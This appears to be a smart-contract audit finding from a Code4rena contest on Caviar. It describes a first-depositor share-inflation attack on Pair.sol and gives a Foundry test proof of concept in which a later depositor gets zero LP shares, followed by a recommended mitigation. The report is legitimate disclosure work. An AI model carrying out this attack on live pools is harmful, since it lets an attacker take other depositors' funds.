Caviar contest - eyexploit's results

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L419-L427 https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L77

Vulnerability details

Impact

A malicious early user can add liquidity to the pair with 1 wei of baseTokenAmount and 1 wei of fractionalTokenAmount. And gets a 1 wei of lpTokens or shares in pool.

Then the malcious user can directly send 5000 amount of baseToken to inflate the shares price from 1 wei to an extremely high value of 5000 (consider with decimals).

As a result, the future user who provides liquidty less than the 5000 will get zero shares. They will lose all the amount of baseToken and fractional tokens that they deposited to provide the liquidity.

Proof of Concept

      function test_if_UnfairShares_Distribution() public { 
        address alice = address(111);
        address eve = address(333);

        deal(address(usd), eve, 10000, true);
        deal(address(p), eve, 10000, true);

        vm.startPrank(eve);
        usd.approve(address(p), type(uint256).max); 
        assertEq(lpToken.totalSupply(), 0, "Initial supply zero");
        // Initiate the attack
        uint256 lpToken_receive_by_eve = p.add(1, 1, 0); 
        usd.transfer(address(p), 5000);
        assertGt(usd.balanceOf(address(p)), 5000);
        assertEq(lpToken_receive_by_eve, 1);
        vm.stopPrank();


        deal(address(usd), alice, 10000, true);
        deal(address(p), alice, 10000, true);
        vm.startPrank(alice);
        
        usd.approve(address(p), type(uint256).max);

        // try adding amount less than 5000 will result in zero shares, to maximize affect 4999

        uint256 lpToken_receive_by_alice = p.add(4999, 4999, 0); 
        assertEq(lpToken_receive_by_alice, 0); 

        (uint256 _baseTokenOutputAmount, ) = p.remove(lpToken_receive_by_alice, 0, 0);
        assertEq(_baseTokenOutputAmount, 0);
    }

Tools Used

Manual review

Recommended Mitigation Steps

For the first inital deposit, mint fixed amount of lp tokens to address(0), Uniswap did the same here